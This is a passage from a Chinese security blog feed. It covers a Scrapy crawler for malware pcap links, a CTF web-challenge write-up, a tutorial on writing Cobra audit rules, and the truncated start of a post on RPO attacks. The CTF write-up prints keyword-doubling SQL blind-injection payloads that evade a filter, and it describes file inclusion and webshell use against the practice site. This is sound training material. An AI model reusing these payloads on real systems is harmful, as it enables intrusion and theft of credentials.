Rule(LinkExtractor(allow=(&apos;\d{2}\/\d{2}\/index(\d)?\.html&apos;), restrict_xpaths=(&apos;//ul/li/a[@href]&apos;)),             process_links = start_urls[0],             callback=&apos;parse_item&apos;,             follow=True)    ]    def parse_start_url(self, response):        pass    def parse_item(self, response):        item = MalwareItem()        sel = Selector(response)        try:            item[&apos;title&apos;] = (sel.xpath(&apos;//title/text()&apos;).extract())[0]            item[&apos;url&apos;] = response.url            item[&apos;downloadurl&apos;] = (sel.xpath(&apos;//ul/li/a[@class=&quot;menu_link&quot; and contains(@href, &quot;.pcap.zip&quot;)]/@href&apos;).extract())[0]            yield item        except:            pass</code></pre><p>爬取成功的数据存储图：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/scrapy/scrapy-11.png" alt="scrapy-11"></p><p>到此为止，一个完整的爬虫模板已经完成，在今后需要重新编写爬虫时，我们的修改流程大致如下：<br>（1）修改Item，决定数据存储的容器结构<br>（2）修改Pipeline，对数据进行操作或存储<br>（3）修改爬虫可行域、初始url<br>（4）修改rules，决定url抓取规则<br>（5）修改xpath，决定数据提取规则</p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>源码地址：<a href="https://download.csdn.net/download/qq_31601147/10531017" target="_blank" rel="external">Here</a>。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;爬虫是网络信息收集最重要的工具之一，而我之前一直都用自己手写的爬虫，感觉挺好用也一直没学爬虫框架。由于研究需要，最近又要接触爬虫，于是索性学了一下爬虫框架Scrapy，看看为什么这么多人支持该框架，他又给我们编写爬虫带来了哪些便捷。&lt;/p&gt;
    
    </summary>
    
    
      <category term="scrapy" scheme="http://yoursite.com/tags/scrapy/"/>
    
      <category term="爬虫" scheme="http://yoursite.com/tags/%E7%88%AC%E8%99%AB/"/>
    
  </entry>
  
  <entry>
    <title>南京邮电大学网络攻防训练平台web综合题专栏</title>
    <link href="http://yoursite.com/2018/06/12/ctf-zh/"/>
    <id>http://yoursite.com/2018/06/12/ctf-zh/</id>
    <published>2018-06-12T03:39:32.000Z</published>
    <updated>2019-01-08T02:28:59.354Z</updated>
    
    <content type="html"><![CDATA[<p>这篇博客鸽了很久了，现在放出来给大家，算是填坑。</p><a id="more"></a><h1 id="综合题1"><a href="#综合题1" class="headerlink" title="综合题1"></a>综合题1</h1><p>题目地址：<a href="http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php" target="_blank" rel="external">综合题1</a></p><p>刚进题就是一大堆符号：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-1.png" alt="zctf-1"></p><p>一看到这么些个符号，想也没想，直接甩到控制台运行一波看看结果。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zcrf-2.png" alt="zcrf-2"></p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-3.png" alt="zctf-3"></p><p>hhhh，果然跑出结果了，下个线索肯定在这个文件里，于是小白兔兴高采烈地点开这个文件。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-4.png" alt="zctf-4"></p><p>emmmmmm，出题人是真的皮哦。冷静了一下，放下了手中的菜刀，我决定继续做题，整了半天还是在题目链接上找到了提示：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-5.png" alt="zctf-5"></p><p>在网上搜索linux-bash找到了一些有用的线索：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-6.png" alt="zctf-6"></p><p>在网址中输入这个/.bash_history，看看历史信息中有没有提示：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-7.png" alt="zctf-7"></p><p>果然有提示，下载这个文件后，直接找到了这个flag。</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-8.png" alt="zctf-8"></p><h1 id="综合题2"><a href="#综合题2" class="headerlink" title="综合题2"></a>综合题2</h1><p>题目地址：<a href="http://cms.nuptzj.cn" target="_blank" rel="external">综合题2</a></p><p>首先进入题目界面，看一遍日常骚话：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-9.png" alt="zctf-9"></p><p>然后在最下面看到关于cms的介绍：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-10.png" alt="zctf-10"></p><p>进入界面看到了很多介绍：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-11.png" alt="zctf-11"></p><p>然而看到上面的url，小白兔眉头一皱感觉事情并不简单，于是乎尝试了一发：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-12.png" alt="zctf-12"></p><p>果然是文件包含，可以在这里直接看源码。于是把所有文件的源码跑出来，由于太多太长了，我不都贴出来了，后面只贴关键性代码。</p><p>回到index界面，由于题目提示了该题不是打xss，所以还是先想办法从注入下手，所以一下就看到这个搜索框：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-17.png" alt="zctf-17"></p><p>虽然试试搜索功能：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-13.png" alt="zctf-13"></p><p>嘿，还不让我用，说是要指定的浏览器才行，我这暴脾气上来了，查看了一下so.php源码：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-18.png" alt="zctf-18"></p><p>原来要这个浏览器，于是开启神器burp，直接抓包，改agent：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-14.png" alt="zctf-14"></p><p>搞定，可以使用搜索功能了，不让我们用肯定有猫腻，想尝试一下注入，不过在上面看到有防注入，查看一下antiinject.php的源码：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-19.png" alt="zctf-19"></p><p>可以分析一下，这个过滤是将敏感字符删除，且只删除一次，由于使用了strtolower这个函数，不能使用大小绕过。所以思路就有了：<br>（1）空格被过滤了，使用/**/替代空格<br>（2）由于只删除一次，所以用两次重复替代关键词，如and -&gt; aandnd<br>（3）由于’=’被过滤，所以使用’&lt;’或’&gt;’来代替</p><p>尝试一下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-15.png" alt="zctf-20"></p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-16.png" alt="zctf-21"></p><p>正确回显和错误回显明显不同，所以可以判断此处可以进行注入。在读sm.txt时我们知道，题目已经把admin数据表的结构告诉我们了，因此我们构造下列语句判断表中记录数：</p><pre><code>soid=1/**/Anandd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/limit/**/0,1) ——&gt; Truesoid=1/**/Anandd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/limit/**/1,1) ——&gt; False</code></pre><p>从上面的回显可以判断出，数据表中只有一条数据，那估计就是我们登录后台需要的账号密码，继续构造语句注入：</p><pre><code>#判断用户名长度soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernanameme)&gt;4) ——&gt; Truesoid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(usernanameme)&gt;5) ——&gt; False#判断用户密码长度soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaspasss)&gt;33) ——&gt; Truesoid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/where/**/length(userpaspasss)&gt;34) ——&gt; False</code></pre><p>从上面的语句可以判断出，用户名长度为5（估计就是admin），而密码是经过加密后的34位长度。注入的语句构造如下：</p><pre><code>#判断用户名第一个字母：soid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/WHERE/**/ascii(substring(usernanameme/**/,1,1))&gt;96) ——&gt; Truesoid=1/**/anANDd/**/exists(seleSELECTct/**/*/**/frFROMom/**/admiADMINn/**/WHERE/**/ascii(substring(usernanameme/**/,1,1))&gt;97) ——&gt; False</code></pre><p>从上面构造语句的结构可以判断出第一个字母的ascii码为97，也就是ascii值‘a’。同理，构造语句注出用户名的第二位，第三位以及密码的所有数据。盲注是很令人心烦的时，想偷懒的小伙伴我已经替你们把脚本写好打包好了，可以用脚本直接跑出管理员的数据（源码在后面)：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-29.png" alt="zctf-29"></p><p>这里我在跑自己的程序时，发现跑出的密码还包含‘空格’，而网上其他人关于该题的脚本跑出的密码却是34位的纯数字，这一度让我对自己的脚本产生怀疑，我花了很多时间找自己代码的错误，然而并没有找到。直到后来，我发现上面的sm.txt中提到，他们自己写了一个加密算法，在passencode.php中，于是查看源码：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-30.png" alt="zctf-30"></p><p>加密的方式很简单，就是把ascii值转成ascii码后连接，而连接的中间符号就是‘空格’。因此我跑的结果其实是合理的，后来我又分析了网上其他人的脚本，发现确实是他们写错了，他们没有考虑到‘空格’这个字符，所以遇到到时全输出成了数字0。这个故事告诉我们，不要盲目相信网上公认的解题脚本，他们可能也会出错！我写的脚本：<a href="https://download.csdn.net/download/qq_31601147/10535438" target="_blank" rel="external">Here</a>，不过需要python3以及request包。最后的密码直接用ascii码反解ascii值就行，解出的明文密码为fuckruntu。</p><p>有了管理员账号密码，然后就找后台了，后台很好找，在about.php的源码里就有：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-22.png" alt="zctf-22"></p><p>所以进入后台地址：<code>http://cms.nuptzj.cn/loginxlcteam/</code> 查看，发现是后台，于是输入我们获得的管理员账号密码：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-23.png" alt="zctf-23"></p><p>成功进入后台，显示如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-24.png" alt="zctf-24"></p><p>emmmm，看来程序员是真的懒，居然给自己的网站放了一句话木马，我们还是用文件包含去看一下这个木马：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-25.png" alt="zctf-25"></p><p>直接把这一句话木马复制到google查，发现这是一个回调函数的一句话木马，使用方法大致如下：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-26.png" alt="zctf-26"></p><p>读了一下phpinfo()发现还是禁了一些函数，不过我们还是有办法读取目录文件列表：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-27.png" alt="zctf-27"></p><p>拿到了存着flag的文件名，我们使用之前的文件包含就可以直接读flag了：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/zctf/zctf-28.png" alt="zctf-28"></p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>国内最近迎来了一批ctf热潮，而且看起来还会持续很长一段时间，感兴趣的朋友可以多看看ctf的题，南邮的题目还是比较基础的，还是有很多平台提供不错的题目，而看看往届比赛的题目的writeUp也是不错的选择。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;这篇博客鸽了很久了，现在放出来给大家，算是填坑。&lt;/p&gt;
    
    </summary>
    
    
      <category term="ctf" scheme="http://yoursite.com/tags/ctf/"/>
    
  </entry>
  
  <entry>
    <title>Cobra静态白盒审计工具规则编写基础</title>
    <link href="http://yoursite.com/2018/04/19/cobra/"/>
    <id>http://yoursite.com/2018/04/19/cobra/</id>
    <published>2018-04-19T03:39:32.000Z</published>
    <updated>2018-12-13T12:40:42.003Z</updated>
    
    <content type="html"><![CDATA[<p>眼镜蛇(Cobra)是一款定位于静态代码安全分析的工具，目标是为了找出源代码中存在的安全隐患或者漏洞。<br>由于开发人员的技术水平和安全意识各不相同，导致可能开发出一些存在安全漏洞的代码。</p><a id="more"></a><p>攻击者可以通过渗透测试来找到这些漏洞，从而导致应用被攻击、服务器被入侵、数据被下载、业务受到影响等等问题。 “源代码安全审计”是指通过审计发现源代码中的安全隐患和漏洞，而Cobra可将这个流程自动化。<br>而本文主要讲解如何进行Cobra的规则库编写，希望对cobra有定制需求的朋友有所帮助。</p><h1 id="十大规则字段"><a href="#十大规则字段" class="headerlink" title="十大规则字段"></a>十大规则字段</h1><p>Cobra的规则文件格式是xml，因此在文件的开头往往需要声明版本和编码，然后以&lt; cobra >标签表明这是个cobra的规则文件：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-2.png" alt="cobra-2"></p><p>而规则的具体内容就写在&lt; cobra >标签内，而Cobra提供了十种字段来让开发者描述规则，接下来我将详细讲解这十大规则字段。</p><h2 id="name字段"><a href="#name字段" class="headerlink" title="name字段"></a>name字段</h2><p>name是由Cobra提供的用来描述规则的名字的字段，内容是字符串类型，因此在编写规则前先给你的规则取个合适的名字吧：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-3.png" alt="cobra-3"></p><h2 id="language字段"><a href="#language字段" class="headerlink" title="language字段"></a>language字段</h2><p>language是由Cobra提供的用来声明规则适用的编程语言的字段，内容是字符串类型，当在language字段声明了指定语言时，扫描器将不会使用该规则检测language以外的编程语言代码：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-4.png" alt="cobra-4"></p><p>上图所示，该规则只会由于检测以.php/.php3/.php4/.php5为后缀的文件代码，而Cobra支持检测的语言以及对应文件后缀详见：<a href="http://cobra.feei.cn/languages" target="_blank" rel="external">Cobra语言支持</a>。</p><p>如果希望编写的规则适用于所有语言，则如下编写language字段:</p><pre><code>&lt;language value=&quot;*&quot;/&gt;</code></pre><h2 id="level字段"><a href="#level字段" class="headerlink" title="level字段"></a>level字段</h2><p>level是由Cobra提供的用来声明该漏洞风险等级的字段，内容为一个整型数字，一共有十种风险等级，为1-10级，等级越高则说明危害越高。一般来说，风险等级按以下标准来设定：</p><table><thead><tr><th>等级</th><th style="text-align:center">分值</th><th style="text-align:center">描述</th></tr></thead><tbody><tr><td>严重</td><td style="text-align:center">9-10</td><td style="text-align:center">1.可获取服务器权限; 2.严重信息泄露;</td></tr><tr><td>高危</td><td style="text-align:center">6-8</td><td style="text-align:center">1.敏感信息泄露; 2.越权; 3.任意文件读取; 4.SQL注入; 5.git/svn泄露; 6.SSRF;</td></tr><tr><td>中危</td><td style="text-align:center">3-5</td><td style="text-align:center">1.XSS; 2.URL跳转; 3.CRLF; 4.LFI;</td></tr><tr><td>低危</td><td style="text-align:center">1-2</td><td style="text-align:center">1.CSRF; 2.JSONP劫持; 3.异常堆栈信息; 3.PHPINFO; 4.路径泄露; 5.硬编码密码; 6.硬编码内网IP域名; 7.不安全的加密方法; 8.不安全的随机数; 9.日志敏感记录;</td></tr></tbody></table><p>我们声明一个风险等级为3的漏洞：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-5.png" alt="cobra-5"></p><h2 id="status字段"><a href="#status字段" class="headerlink" title="status字段"></a>status字段</h2><p>status字段设置了是否开启该规则的扫描，使用on/off来标记，只有当标记为on时，该规则才会生效：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-7.png" alt="cobra-7"></p><h2 id="match字段"><a href="#match字段" class="headerlink" title="match字段"></a>match字段</h2><p>match字段是用来声明规则具体内容的字段，而在&lt; match > 标签的内部就是规则的具体内容。<br>match是Cobra规则的核心字段，因为它定义了规则的具体内容和检测方法，而在编写规则前需要先定义match的唯一属性：mode。</p><h3 id="mode属性"><a href="#mode属性" class="headerlink" title="mode属性"></a>mode属性</h3><p>mode属性决定了match的检测模式，当mode属性的值不同时，代码检测的模式不同，比如使用“regex-only-match”模式时，就是进行正则匹配的方式扫描代码，找出所有与正则表达式相匹配的源码，并将之标记为漏洞。而当检测模式设置为“function-param-controllable”时，就会检测所设定函数的所有调用，如果传入该函数的参数是用户可控的，则标记为漏洞。而mode一共有四种检测模式：</p><table><thead><tr><th>Mode</th><th style="text-align:center">类型</th><th style="text-align:center">默认模式</th><th style="text-align:center">支持语言</th><th style="text-align:left">描述</th></tr></thead><tbody><tr><td>regex-only-match</td><td style="text-align:center">正则仅匹配</td><td style="text-align:center">是</td><td style="text-align:center">*</td><td style="text-align:left">默认是此模式，但需要显式的写在规则文件里。以正则的方式进行匹配，匹配到内容则算作漏洞</td></tr><tr><td>regex-param-controllable</td><td style="text-align:center">正则参数可控</td><td style="text-align:center">否</td><td style="text-align:center">PHP/Java</td><td style="text-align:left">以正则模式进行匹配，匹配出的变量可外部控制则为漏洞</td></tr><tr><td>function-param-controllable</td><td style="text-align:center">函数参数可控</td><td style="text-align:center">否</td><td style="text-align:center">PHP</td><td style="text-align:left">内容写函数名，将搜索所有该函数的调用，若参数外部可控则为漏洞</td></tr><tr><td>find-extension</td><td style="text-align:center">寻找指定后缀文件</td><td style="text-align:center">否</td><td style="text-align:center">*</td><td style="text-align:left">找到指定后缀文件则算作漏洞</td></tr></tbody></table><h3 id="规则内容"><a href="#规则内容" class="headerlink" title="规则内容"></a>规则内容</h3><p>规则内容是写在&lt; match >标签内的具体检测内容，编写的规则内容要与mode属性相对应，不然无法检测，如当使用“regex-only-match”模式时，规则内容就应该是正则表达式，而使用“function-param-controllable”模式时，规则内容就应该是函数名。</p><p>我们编写一个测试规则内容，以正则匹配的方式来匹配&lt; test &gt;标签：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-8.png" alt="cobra-8"></p><p>我们编写一个php文件，在里面写入代码：<code>echo ‘&lt;test&gt; just for test &lt;/test&gt;’</code>，然后使用我们编写的规则对其进行检测，检测结果：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-9.png" alt="cobra-9"></p><p>如图所示，能够按照规则检测出恶意代码。</p><h2 id="match2字段"><a href="#match2字段" class="headerlink" title="match2字段"></a>match2字段</h2><p>由于仅仅使用match一个字段无法应对许多特殊的漏洞规则编写需求，因此Cobra提供了两个字段来辅助match字段更好地进行规则编写，而match2字段就是其中之一。match2的作用是在match成功匹配到的前提下，进行二次匹配，只有match2也匹配成功，则标记为漏洞。而match2拥有block属性，在编写二次规则前需要先给block属性赋值。</p><h3 id="block属性"><a href="#block属性" class="headerlink" title="block属性"></a>block属性</h3><p>block属性是match2的唯一属性，其定义了二次匹配的匹配范围，比如当block的值为“in-current-line”时，二次匹配范围则在match匹配到的行中，而当block的值为“in-file”时，则范围会在match匹配到的位置所在的文件中。block属性具体可以取的值如下表所示：<br>| 区块 | 描述 |<br>| - | :-: |<br>| in-current-line | 由第一条规则触发的所在行 |<br>| in-function | 由第一条规则触发的函数体内 |<br>| in-function-up | 由第一条规则触发的所在行之上，所在函数体之内 |<br>| in-function-down | 由第一条规则触发的所在行之下，所在函数体之内 |<br>| in-file | 由第一条规则触发的文件内 |<br>| in-file-up | 由第一条规则触发的所在行之上，所在文件之内 |<br>| in-file-down | 由第一条规则触发的所在行之下，所在文件之内 |</p><h3 id="规则2内容"><a href="#规则2内容" class="headerlink" title="规则2内容"></a>规则2内容</h3><p>规则2内容是写在<code>&lt;match2&gt;</code>标签内的二次检测规则，拿上面的例子，我们继续尝试编写二次匹配规则，在匹配<code>&lt;test&gt;</code>标签的前提下，检测该行内出现‘not’这个单词则视为漏洞：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-10.png" alt="cobra-10"></p><p>对测试用例进行检测结果：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-12.png" alt="cobra-12"></p><p>可以看见，语句<code>echo ‘&lt;test&gt; just for test &lt;/test&gt;’</code>已经不被视为漏洞，因为该行中不包含match2所要求的not单词。而<code>echo ‘&lt;test&gt; not just for test &lt;/test&gt;’</code>则与我们期待的一样被标记为漏洞。</p><h3 id="多次使用"><a href="#多次使用" class="headerlink" title="多次使用"></a>多次使用</h3><p>值得一提的是，由于match2字段是用来辅助match而存在的字段，因此它并不能独立于match字段存在，只有match字段存在时，它才能被使用。而match2可以被多次使用，绑定于同个match进行多次匹配，我们尝试编写多个match2进行测试：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-14.png" alt="cobra-14"></p><p>检测结果：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-13.png" alt="cobra-13"></p><p>可以看到，多次使用的match2的结果并不是match+match2(1)+match2(2),而是match+match2(1)或match+match(2)。</p><h2 id="repair字段"><a href="#repair字段" class="headerlink" title="repair字段"></a>repair字段</h2><p>上文说过，Cobra使用了2个字段来辅助match字段进行更好的匹配，除了match2字段，另一个就是repair字段。从用法上来说，repair字段和match2字段基本上一模一样，但是他们的作用却是完全相反。在match匹配的前提下，当match2二次匹配成功时，标记为漏洞，而repair却是二次匹配成功时，视为漏洞已被修复，不再标记为漏洞。</p><p>继续上面的例子，我们编写二次匹配规则，在匹配<code>&lt;test&gt;</code>标签的前提下，检测该行内出现‘not’这个单词则视为漏洞已被修复：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-15.png" alt="cobra-15"></p><p>检测结果：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-16.png" alt="cobra-16"></p><p>可以看到，检测结果呈现与match2完全相反的结果，这是因为match的前提下，该行匹配到not则不视为漏洞，所以最后就呈现了这种结果。</p><p>当match2字段和repair字段同时使用时，repair的优先级高于match2。</p><h2 id="solution字段"><a href="#solution字段" class="headerlink" title="solution字段"></a>solution字段</h2><p>这个字段很好理解，当漏洞被标记时显示解决方法，内容为字符串，且会直接显示在被标记的漏洞下。往往在该字段内描述详细的解决方法以帮助商家修复漏洞，编辑：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-17.png" alt="cobra-17"></p><p>直接显示：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-18.png" alt="cobra-18"></p><h2 id="test字段"><a href="#test字段" class="headerlink" title="test字段"></a>test字段</h2><p>该字段用来写规则对应测试用例，在<code>&lt;test&gt;</code>字段内，每一个<code>&lt;case&gt;</code>字段都视为一个测试用例，case的属性assert用来表名该测试用例是正面例子还是反面例子，当assert值为true时，该测试用例是能匹配出漏洞的，而当assert为false时，该测试用例是没有漏洞的，而属性remark只是一个备注：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-19.png" alt="cobra-19"></p><p>比较遗憾的是，我并没有找到直接在规则文件中测试测试用例的方法，希望Cobra在更新文档后能够对此进行说明。</p><h2 id="author字段"><a href="#author字段" class="headerlink" title="author字段"></a>author字段</h2><p>这是Cobra提供的最后一个字段，用来标明该规则编写的作者是谁，毕竟辛苦编写了规则，那就署上你的大名吧：</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-20.png" alt="cobra-20"></p><h1 id="规则文件命名"><a href="#规则文件命名" class="headerlink" title="规则文件命名"></a>规则文件命名</h1><p>规则文件的命名规则：</p><ol><li>统一存放在rules目录</li><li>大写字母CVI（Cobra Vulnerability ID）开头，横杠（-）分割</li><li>六位数字组成，前三位为Label ID，后三位为自增ID</li><li>结尾以小写.xml结束<br>例子：<code>rules/CVI-110001.xml</code><br>值得注意的是，六位数字的前三位代表了漏洞类型，比如上文中我的规则文件命名为CVI-110003.xml，开头为110，因此被分到了“错误的配置”这一类。</li></ol><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-21.png" alt="cobra-21"></p><p>具体的漏洞类别分类与定制详见：<a href="http://cobra.feei.cn/labels" target="_blank" rel="external">Cobra漏洞命名分类</a>。</p><h1 id="编写Rpo攻击漏洞规则"><a href="#编写Rpo攻击漏洞规则" class="headerlink" title="编写Rpo攻击漏洞规则"></a>编写Rpo攻击漏洞规则</h1><h2 id="rpo攻击"><a href="#rpo攻击" class="headerlink" title="rpo攻击"></a>rpo攻击</h2><p>rpo攻击是一种因为相对路径调用资源文件而产生的漏洞，详细见：<a href="http://blog.whiterabbitxyj.com/2018/04/02/rpo/" target="_blank" rel="external">rpo攻击浅析</a>。</p><h2 id="编写规则文件"><a href="#编写规则文件" class="headerlink" title="编写规则文件"></a>编写规则文件</h2><p>由于rpo攻击属于xss攻击的一种，因此我把规则文件的名称设置成了CVE-140006.xml。规则的目的是匹配php中的使用相对路径调用js文件的语句，将其视为漏洞，提醒开发人员rpo攻击的可能性。具体规则如下：</p><pre><code>&lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt;&lt;cobra document=&quot;https://github.com/FeeiCN/cobra&quot;&gt;    &lt;name value=&quot;相对路径可能导致的rpo攻击漏洞&quot;/&gt;    &lt;language value=&quot;php&quot;/&gt;    &lt;match mode=&quot;regex-only-match&quot;&gt;        &lt;![CDATA[&lt;script(\s)+(.)*src(\s)*=(\s)*&quot;[^/\/{](.)*\.js&quot;(\s)*&gt;(\s)*(.)*(\s)*(&lt;/script&gt;)]]&gt;    &lt;/match&gt;    &lt;repair block=&quot;in-current-line&quot;&gt;        &lt;![CDATA[&lt;script(\s)+(.)*src(\s)*=(\s)*&quot;(http://|https://)(.)*\.js&quot;(\s)*&gt;(\s)*(.)*(\s)*(&lt;/script&gt;)]]&gt;    &lt;/repair&gt;    &lt;level value=&quot;3&quot;/&gt;    &lt;solution&gt;        ## 安全风险        js对资源进行引用时采用了相对路径，即有可能导致rpo攻击漏洞        ## 修复方案        使用绝对路径访问资源    &lt;/solution&gt;    &lt;test&gt;        &lt;case assert=&quot;true&quot;&gt;&lt;![CDATA[            &lt;script src = &quot;static/js/jquery.min.js&quot;&gt;&lt;/script&gt;        ]]&gt;&lt;/case&gt;    &lt;/test&gt;    &lt;test&gt;        &lt;case assert=&quot;false&quot;&gt;&lt;![CDATA[            &lt;script src = &quot;/static/js/jquery.min.js&quot;&gt;&lt;/script&gt;        ]]&gt;&lt;/case&gt;    &lt;/test&gt;    &lt;test&gt;        &lt;case assert=&quot;false&quot;&gt;&lt;![CDATA[            &lt;script src = &quot;http://1.1.1.1/static/js/jquery.min.js&quot;&gt;&lt;/script&gt;        ]]&gt;&lt;/case&gt;    &lt;/test&gt;    &lt;status value=&quot;on&quot;/&gt;    &lt;author name=&quot;whiterabbit&quot; email=&quot;whiterabbit@qq.com&quot;/&gt;&lt;/cobra&gt;</code></pre><h2 id="测试结果"><a href="#测试结果" class="headerlink" title="测试结果"></a>测试结果</h2><p>测试结果图:</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/cobra/cobra-22.png" alt="rpo-22"></p><h1 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h1><p>附上Cobra官方中文文档连接：<a href="http://cobra.feei.cn//cobra.feei.cn/labels" target="_blank" rel="external">Cobra中文文档</a>。</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;眼镜蛇(Cobra)是一款定位于静态代码安全分析的工具，目标是为了找出源代码中存在的安全隐患或者漏洞。&lt;br&gt;由于开发人员的技术水平和安全意识各不相同，导致可能开发出一些存在安全漏洞的代码。&lt;/p&gt;
    
    </summary>
    
    
      <category term="cobra" scheme="http://yoursite.com/tags/cobra/"/>
    
      <category term="审计" scheme="http://yoursite.com/tags/%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="规则" scheme="http://yoursite.com/tags/%E8%A7%84%E5%88%99/"/>
    
  </entry>
  
  <entry>
    <title>RPO攻击初体验</title>
    <link href="http://yoursite.com/2018/04/02/rpo/"/>
    <id>http://yoursite.com/2018/04/02/rpo/</id>
    <published>2018-04-02T03:39:32.000Z</published>
    <updated>2018-12-13T12:40:30.533Z</updated>
    
    <content type="html"><![CDATA[<p>上周参加了CTF比赛，虽然结果一般般，但还是学到了不少东西，比如RPO攻击。RPO(Relative Path Overwrite) 攻击又称为相对路径覆盖攻击，依赖于浏览器和网络服务器的反应与服务器的 Web 缓存技术和配置差异，利用前端代码中加载的css/js的相对路径来加载其他文件，最终浏览器将服务器返回的不是css/js的文件当做css/js来解析，从而导致XSS，信息泄露等漏洞产生。这种攻击在网络上资料较少，如果不是参加比赛还真不会去了解这种攻击技术，所以这里分享给大家。</p><a id="more"></a><h1 id="了解RPO"><a href="#了解RPO" class="headerlink" title="了解RPO"></a>了解RPO</h1><p>如果让我来解释RPO，大概就是利用css、js的相对路劲分析漏洞进行的攻击，原理：<br>1.在Url中使用%2f来代替/<br>2.Url在浏览器分析时，会把%2f解码为/，然后就正常返回页面<br>3.但是css/js在解析时，不会进行解码，所以就出现了目录覆盖的情况<br>4.产生这种漏洞的最大原因是CSS/js解析器的一个特性：浏览器在解析CSS/js样式时，会忽略非法的部分，直到找到正确的开始然后进行解析一直到结束。所以当我们植入CSS/js代码，欺骗CSS/js解析器忽略之前不合法的语法内容，从而加载我们注入的CSS/js内容。<br>5.一般来说，在phpinfo框架中出现这种情况的可能性比较大<br>（phpinfo框架：1.2.3.4:80/index.php/pp/123/,并不是有pp和123这两个目录，url在phpinfo模式下会解析成index.php?mode=pp&amp;id=123）</p><p>详见：<br><a href="http://www.zjicmisa.org/index.php/archives/127/" target="_blank" rel="external">RPO攻击详解1</a><br><a href="https://blog.formsec.cn/2018/01/12/RPO%E6%94%BB%E5%87%BB%E6%8A%80%E6%9C%AF%E6%B5%85%E6%9E%90/" target="_blank" rel="external">RPO攻击详解2</a></p><h1 id="比赛实例"><a href="#比赛实例" class="headerlink" title="比赛实例"></a>比赛实例</h1><p>周末CTF的比赛要求对一个系统进行审查，然后提交漏洞，管理员会进行查看。这一看就是要的钓管理员的cookie，目测就是xss。于是先开始观察系统</p><p><img src="http://picture.whiterabbitxyj.com/blogPicture/rpo/rpo-1.png" alt="rpo-1"></p><p>所以大概了解到，是通过写文章注入xss语句，然后在查看文章中确定语句可行性，然后提交钓cookie。不过发现&lt;&gt;标签被过滤，且没法写入script标签，但是在发现index.php页面发现js是调用的相对路径：</p><p><img 